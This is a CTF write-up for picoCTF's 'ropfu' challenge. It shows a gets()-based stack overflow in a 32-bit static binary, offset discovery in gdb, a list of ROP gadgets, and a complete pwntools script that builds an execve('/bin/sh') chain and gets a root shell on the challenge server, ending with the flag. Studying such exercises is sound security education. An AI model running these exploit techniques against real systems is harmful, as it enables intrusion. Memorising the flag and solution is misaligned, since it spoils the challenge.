Intro
Classic ROP challange.
File Info
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=3aa2bb6a5bf44d90a355da83fa909bbf5d9d90ce, for GNU/Linux 3.2.0, not stripped
Statically linked binary.
Source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
Running Executable
$ ./vuln
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
AAAAAAAA
Smashing Stack
Enable coredump - ulimit -c unlimited
$ python -c "print ('A'*100)" | ./vuln
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
zsh: done python -c "print ('A'*100)" |
zsh: segmentation fault (core dumped) ./vuln
Coredump in GDB.
$ gdb ./vuln -q core
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
[New LWP 28393]
Core was generated by `./vuln'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x41414141 in ?? ()
gdb-peda$ x/10xw $esp
0xbfd1a0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfd1a100: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfd1a110: 0x41414141 0x41414141
gdb-peda$
EIP Offset
$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ pattern_create 100 input-buf
Writing pattern of 100 chars to filename "input-buf"
gdb-peda$ r < input-buf
Starting program: /home/kali/Desktop/rop/ropfu/vuln < input-buf
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff0a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EBX: 0x41412d41 ('A-AA')
ECX: 0x80e5300 --> 0xfbad2098
EDX: 0xbffff104 --> 0x0
ESI: 0x80e5000 --> 0x0
EDI: 0x80e5000 --> 0x0
EBP: 0x44414128 ('(AAD')
ESP: 0xbffff0c0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x413b4141 ('AA;A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x413b4141
[------------------------------------stack-------------------------------------]
0000| 0xbffff0c0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xbffff0c4 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xbffff0c8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xbffff0cc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xbffff0d0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xbffff0d4 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xbffff0d8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xbffff0dc ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 in ?? ()
gdb-peda$ pattern_offset AA;A
A)AA found at offset: 28
gdb-peda$
EIP Offset - 28
[----------------------------------registers-----------------------------------]
EAX: 0xbffff090 ('A' <repeats 28 times>, "BBBB", 'C' <repeats 168 times>...)
EBX: 0x41414141 ('AAAA')
ECX: 0x80e5300 --> 0xfbad2088
EDX: 0xbffff178 --> 0xbffff100 ('C' <repeats 120 times>)
ESI: 0x80e5000 --> 0x0
EDI: 0x80e5000 --> 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff0b0 ('C' <repeats 200 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff0b0 ('C' <repeats 200 times>)
0004| 0xbffff0b4 ('C' <repeats 196 times>)
0008| 0xbffff0b8 ('C' <repeats 192 times>)
0012| 0xbffff0bc ('C' <repeats 188 times>)
0016| 0xbffff0c0 ('C' <repeats 184 times>)
0020| 0xbffff0c4 ('C' <repeats 180 times>)
0024| 0xbffff0c8 ('C' <repeats 176 times>)
0028| 0xbffff0cc ('C' <repeats 172 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ x/30xw $esp
0xbffff0b0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0c0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0d0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0e0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff0f0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff100: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff110: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff120: 0x43434343 0x43434343
gdb-peda$
Enough space on stack to contain shellcode or gadgets.
Binary Security Measures
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
gdb-peda$
Approach
- Find gadgets to write to memory and write
/bin/sh
to any desired location -.bss
or.data
- Align registers for
execve
system call - Issue interrupt to call
execve
and get shell.
Required Gadgets
# 0x08059102: mov dword ptr [edx], eax; ret;
# 0x08053ff0: mov eax, 0xffffffff; ret;
# 0x0808055e: inc eax; ret;
# 0x08071650: int 0x80; ret;
# 0x080b074a: pop eax; ret;
# 0x08049022: pop ebx; ret;
# 0x08049e39: pop ecx; ret;
# 0x080583c9: pop edx; pop ebx; ret;
Implementation
from pwn import *
from socket import create_connection as cc
elf = ELF("./vuln")
def get_proc():
if args.REMOTE:
r = remote('saturn.picoctf.net', args.PORT)
else:
r = elf.process()
return r
# 22 .bss 00000d1c 080e62c0 080e62c0 0009d2b8 2**5
# 18 .data 00000ec0 080e5060 080e5060 0009c060 2**5
#buf = 0x080e62c0
buf = 0x80e5060
fake_ret = 0xcafebabe
read = elf.symbols["read"]
write = elf.symbols["write"]
# 0x08059102: mov dword ptr [edx], eax; ret;
# 0x08053ff0: mov eax, 0xffffffff; ret;
# 0x0808055e: inc eax; ret;
# 0x08071650: int 0x80; ret;
# 0x080b074a: pop eax; ret;
# 0x0809ed81: pop ebx; ret 0xfffa;
# 0x08049022: pop ebx; ret;
# 0x08049e39: pop ecx; ret;
# 0x080583c9: pop edx; pop ebx; ret;
mov_edx_ptr_eax_ret = 0x08059102
mov_eax_ffffffff_ret = 0x08053ff0
pop_eax_ret = 0x080b074a
pop_ebx_ret = 0x08049022
pop_ecx_ret = 0x08049e39
pop_edx_ebx_ret = 0x080583c9
inc_eax_ret = 0x0808055e
int_80_ret = 0x08071650
payload = b"A"*28
# Step 1 : Write /bin/sh to .data
payload += p32(pop_edx_ebx_ret)
payload += p32(buf) # edx points to .data buf
payload += p32(0x41414141) # junk ebx
payload += p32(pop_eax_ret)
payload += b"/bin" # eax = /bin
payload += p32(mov_edx_ptr_eax_ret) # move eax to address pointed by edx
payload += p32(pop_edx_ebx_ret)
payload += p32(buf+4) # edx points to .data buf
payload += p32(0x41414141) # junk ebx
payload += p32(pop_eax_ret)
payload += b"//sh" # eax = /bin
payload += p32(mov_edx_ptr_eax_ret)
# Step 2 : make eax = 0 and store at buf + 8
payload += p32(mov_eax_ffffffff_ret)
payload += p32(inc_eax_ret) # eax = 0
payload += p32(pop_edx_ebx_ret)
payload += p32(buf + 8) # edx points to buf + 8
payload += p32(0x41414141) # junk ebx
payload += p32(mov_edx_ptr_eax_ret)
# Step 3 : Call execve("/bin/sh", *0, *0)
# int execve(const char *pathname, char *const argv[],
# char *const envp[]);
# eax = 0xb
# ebx = pointer to "/bin/sh"
# ecx = pointer to 0
# edx = pointer to 0
payload += p32(mov_eax_ffffffff_ret)
payload += p32(inc_eax_ret) # eax = 0
payload += p32(inc_eax_ret) # eax = 1
payload += p32(inc_eax_ret) # eax = 2
payload += p32(inc_eax_ret) # eax = 3
payload += p32(inc_eax_ret) # eax = 4
payload += p32(inc_eax_ret) # eax = 5
payload += p32(inc_eax_ret) # eax = 6
payload += p32(inc_eax_ret) # eax = 7
payload += p32(inc_eax_ret) # eax = 8
payload += p32(inc_eax_ret) # eax = 9
payload += p32(inc_eax_ret) # eax = 10
payload += p32(inc_eax_ret) # eax = 11
payload += p32(pop_edx_ebx_ret)
payload += p32(buf + 8) # edx = null pointer; buf + 8 contains 0
payload += p32(buf) # edx = pointer to /bin/sh; buf
payload += p32(pop_ecx_ret)
payload += p32(buf + 8) # ecx = null pointer; buf + 8 contains 0
payload += p32(int_80_ret) # call execve
r = get_proc()
r.recvline()
r.sendline(payload)
r.interactive()
Running against challenge.
$ python poc.py REMOTE PORT=51464
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-ropfu/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Opening connection to saturn.picoctf.net on port 51464: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$ ls -l
total 700
-rw-r--r-- 1 root root 34 Mar 15 2022 flag.txt
-rwxr-xr-x 1 root root 709360 Mar 15 2022 vuln
$ cat flag.txt
picoCTF{5n47ch_7h3_5h311_c6992ff0}
$